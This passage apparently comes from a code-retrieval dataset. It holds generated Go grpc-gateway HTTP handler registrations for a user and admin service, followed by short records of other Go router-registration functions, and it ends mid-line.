grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_GetUserInfo_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_GetUserInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_Refund_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_Refund_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_Refund_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_UserService_UpdateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_UpdateUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_UpdateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UserService_GetOldUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_GetOldUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_GetOldUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UserService_ListOldUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_ListOldUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_ListOldUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_EmailVerification_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_EmailVerification_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_EmailVerification_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_ResendVerification_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_ResendVerification_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_ResendVerification_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_ResetPasswordToken_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_ResetPasswordToken_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_ResetPasswordToken_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_ResetPassword_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_ResetPassword_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_ResetPassword_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_SignUpAsHost_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_SignUpAsHost_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_SignUpAsHost_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UserService_GetUserByID_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_GetUserByID_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_GetUserByID_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UserService_GetUserDetail_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_GetUserDetail_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_GetUserDetail_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_AddNewAdmin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_AddNewAdmin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_AddNewAdmin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_UserService_EditAdmin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_EditAdmin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_EditAdmin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UserService_ListAdmin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_ListAdmin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_ListAdmin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"DELETE\", pattern_UserService_DeleteAdmin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_DeleteAdmin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_DeleteAdmin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"PATCH\", pattern_UserService_EditRoleAdmin_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_EditRoleAdmin_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_EditRoleAdmin_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_UserService_ListRoles_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_ListRoles_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_ListRoles_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_CreatePilotUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_CreatePilotUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_CreatePilotUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_SendEmailPilotUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_SendEmailPilotUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_SendEmailPilotUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_GetCountDownVerifyToken_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_GetCountDownVerifyToken_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_GetCountDownVerifyToken_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_UserService_SendEmailSinglePilotUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_UserService_SendEmailSinglePilotUser_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_UserService_SendEmailSinglePilotUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}", "title": "" }, { "docid": "b166b801263d50e44367f5d782fbd7eb", "score": "0.59603846", "text": "func RegisterRegistryServant(r *mux.Router, s Registry) {\n\trouter := r.PathPrefix(\"/api/v1\").Subrouter()\n\n\t// register routes info to router\n\trouter.HandleFunc(\"account/register\", s.Register).\n\t\tMethods(\"POST\")\n\trouter.HandleFunc(\"account/login\", s.Login).\n\t\tMethods(\"POST\")\n\trouter.HandleFunc(\"account/tokens\", s.TokensInfo).\n\t\tMethods(\"POST\")\n\trouter.HandleFunc(\"account/tokens\", s.GenerateTokens).\n\t\tMethods(\"PUT\")\n\trouter.HandleFunc(\"account/tokens\", s.RevokeTokens).\n\t\tMethods(\"DELETE\")\n\trouter.HandleFunc(\"account/tokens/{name}\", s.TokenByName).\n\t\tMethods(\"GET\")\n\trouter.HandleFunc(\"categories\", s.Categories).\n\t\tMethods(\"GET\")\n\trouter.HandleFunc(\"crates\", s.SearchCrates).\n\t\tMethods(\"GET\")\n\trouter.HandleFunc(\"crates/new\", s.PublishCrates).\n\t\tMethods(\"PUT\")\n\trouter.HandleFunc(\"crates/suggest\", s.SuggestCrates).\n\t\tMethods(\"GET\")\n\trouter.HandleFunc(\"crates/{name}\", s.CrateInfo).\n\t\tMethods(\"GET\")\n\trouter.HandleFunc(\"crates/{name}/owners\", s.CrateOwnersInfo).\n\t\tMethods(\"GET\")\n\trouter.HandleFunc(\"crates/{name}/owners\", s.PutCrateOwners).\n\t\tMethods(\"PUT\")\n\trouter.HandleFunc(\"crates/{name}/owners\", s.DelCrateOwners).\n\t\tMethods(\"DELETE\")\n\trouter.HandleFunc(\"crates/{name}/{version}/yank\", s.YankCrate).\n\t\tMethods(\"DELETE\")\n\trouter.HandleFunc(\"crates/{name}/{version}/unyank\", s.UnyankCrate).\n\t\tMethods(\"PUT\")\n\trouter.HandleFunc(\"crates/{name}/{version}/download\", s.DownloadCrate).\n\t\tMethods(\"GET\")\n}", "title": "" }, { "docid": "2e1a06e2bcd3b0dc019b48222ceb107f", "score": "0.5958599", "text": "func (s Service) Register(r *grpc.Server) {\n\tserver := &Server{}\n\tgo server.dispatch()\n\tadmin.RegisterDeviceRoleServiceServer(r, server)\n}", "title": "" }, { "docid": "e75546137fc90d43d97cdaf49458df86", "score": "0.5944581", "text": "func RegisterHandlers(router interface {\n\tCONNECT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tDELETE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tGET(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tHEAD(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tOPTIONS(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPATCH(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPOST(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tPUT(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n\tTRACE(path string, h echo.HandlerFunc, m ...echo.MiddlewareFunc) *echo.Route\n}, si ServerInterface) {\n\n\twrapper := ServerInterfaceWrapper{\n\t\tHandler: si,\n\t}\n\n\trouter.POST(\"/api/medooze\", wrapper.EventHandler)\n\trouter.GET(\"/api/v1/user\", wrapper.UserIndex)\n\trouter.POST(\"/api/v1/user\", wrapper.UserStore)\n\trouter.GET(\"/api/v1/user/:userID\", 